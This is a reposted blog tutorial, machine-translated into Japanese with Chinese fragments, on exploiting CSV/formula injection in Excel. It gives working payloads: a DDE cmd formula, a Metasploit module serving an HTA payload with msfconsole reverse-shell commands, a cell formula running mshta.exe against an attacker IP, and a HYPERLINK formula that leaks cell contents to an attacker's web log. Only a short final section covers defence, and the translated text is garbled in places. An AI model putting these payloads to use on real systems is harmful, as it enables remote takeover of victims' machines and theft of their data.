CSVインジェクションの脆弱性の原則と利用チュートリアル

脆弱性の紹介

  CSVインジェクション(CSVインジェクション)の脆弱性は通常、ファイル(.csv / .xls)をエクスポートする機能を持つWebサイトに発生します。エクスポートされたファイルの内容が制御可能な場合、攻撃者は通常、悪意のあるペイロード(式)を入力フィールドに挿入します。ユーザーがファイルをエクスポートした後、EXCELは独自の動的関数を呼び出して、攻撃者の悪意のあるコードを実行し、ユーザーのコンピューターを制御します。

脆弱性の原則

xlsファイルを作成してセルに入力します。Enter=1+1キーを押すと、値が2に変更され、プラス記号が操作として実行されていることがわかります。
ここに画像の説明を挿入
ここに画像の説明を挿入
もちろん、+数値だけでなく=、-、@そのような記号もExcelによって数式に解析されます。

DDE(動的データ交換)

  DDEは、Windowsでのプロセス間通信プロトコルであり、動的なデータ交換メカニズムです。DDE通信を使用するには、2つのWindowsアプリケーションが必要です。1つは情報を処理するサーバーとして使用され、もう1つは情報を取得するクライアントとして使用されます。サーバーから。DDEは、Microsoft Excel、LibreOffice、およびApacheOpenOfficeをサポートしています。Excel、Word、Rtf、Outlookはすべて、このメカニズムを使用して、外部アプリケーションの処理結果に基づいてコンテンツを更新できます。したがって、DDE式を含むCSVファイルを作成すると、ファイルを開くと、Excelは外部アプリケーションを実行しようとします。

DDEの呼び出しを文件->选项->信任中心->信任中心设置->外部内容オンにする必要があり
ここに画像の説明を挿入
ます。デフォルトでは、[動的データ交換サーバーの起動を有効にする(非推奨)]をオフにして、DDEが外部アプリケーションを起動しないようにします。Office 2016 MSO(16.0.4266.1001)などの古いバージョンにはこのオプションがないため、外部プログラムの実行を禁止することはできません。


脆弱性のデモンストレーション

セルに入力=1*cmd|' /C calc'!A0すると、2つのポップアップウィンドウが表示されます。

ここに画像の説明を挿入
ここに画像の説明を挿入
注意を怠ると、頭がおかしくなり、システムコマンドが実行され、電卓がポップアップします。

ここに画像の説明を挿入

エクスプロイト

悪意のあるWebサイトにアクセスする(フィッシング)

=HYPERLINK("http://baidu.com","还记得我吗老baby?我想你了!!!")

ここに画像の説明を挿入
用户点击链接时,系统会调用浏览器访问这个网站。

これは少し助けになり、被害者は手動でリンクをクリックする必要があります。ただし、この式は警告をトリガーしません。

もちろん、IEブラウザの脆弱性、Flash、その他の脆弱性と協力してシェルを入手することもできます。

CVE-2018-8174CVE
-2018-4878

リバースシェル

攻撃マシン:カリ
ターゲットマシン:Windows 10

Webページの脆弱性テンプレートを作成しなくても、Excelを直接作成して、ターゲットマシンで実行できます。

kali操作:

次のRubyコードを/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rbディレクトリにコピーします

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
  
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info  = {
    
    })
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {
    
    } ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      {
    
     :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  
  
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{
      
      url}\"")
  end
end

pgデータベースを開きます。

service postgresql start

msfを開始します。

msfconsole

msfconsole操作:

#重置数据库
reload_all

#查询新建msh_shell模块
search msh_shell

#加载 msh_shell模块
use exploit/windows/smb/msh_shell

#设置监听payload,设置ip等
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.206.128
set uripath csv
exploit

新しいExcelテーブルを作成し、次のペイロードをセルに挿入します。

+1+cmd|'/c mshta.exe http://192.168.206.128:8080/csv'!A0

ここに画像の説明を挿入それをwindows10にアップロードしてから開きます。ユーザーが気が狂うと、ターゲットマシン
ここに画像の説明を挿入
オンラインになります。MSFはシェルのアクセス許可を取得します。

sessions -l
sessions -i 1

shell

ここに画像の説明を挿入

他の細胞情報を盗む

攻撃者はWebログ機能をオンにします。

例としてTomcatログを取り上げ、confの下のserver.xmlファイルを編集し
ここに画像の説明を挿入
、次のコンテンツのコメントを解除して、次のコンテンツ
ペイロードをExcelに挿入します

=HYPERLINK("http://192.168.206.130:8080/"&D2&D3,"Error: Please click me!")

ここに画像の説明を挿入レポートのエクスポート後にユーザーが誤ってセルのコンテンツをクリックすると、D2セルとD3セルのコンテンツがリークされます。
ここに画像の説明を挿入
TomcatWebログを表示します。

ここに画像の説明を挿入

実際の戦闘の抜け穴は再現します

CVE-2018-10504
CVE-2019-15092

防御策

このタイプの攻撃は軽減するのが難しく、多くのバグ報奨金プログラムから明示的に禁止されています。これを修正するには、次の文字で始まるセルがないことを確認してください。

( "@")の( "=")
プラス記号( "+")
マイナス記号( "-")
等しい
開発者は、そのような文字を含むセルの先頭にアポストロフィ( ')を追加できます。アポストロフィ( ')を追加すると、セルに数式が含まれていないことがExcelに通知され、MS Excelを表示しているときに、セルの最初の文字として入力したときにアポストロフィ(')は表示されません。

参照リンク

https://www.freebuf.com/vuls/195656.html

https://blog.csdn.net/qq_34304003/article/details/87635582

https://www.veracode.com/blog/secure-development/data-extraction-command-execution-csv-injection

https://www.anquanke.com/post/id/84497

http://kuaiyaojinga.com/110057477

https://www.anquanke.com/post/id/89972

https://xz.aliyun.com/t/4124

https://galaxylab.com.cn/formula-injection-%E5%85%AC%E5%BC%8F%E6%B3%A8%E5%85%A5/

おすすめ

転載: blog.csdn.net/weixin_41924764/article/details/108665746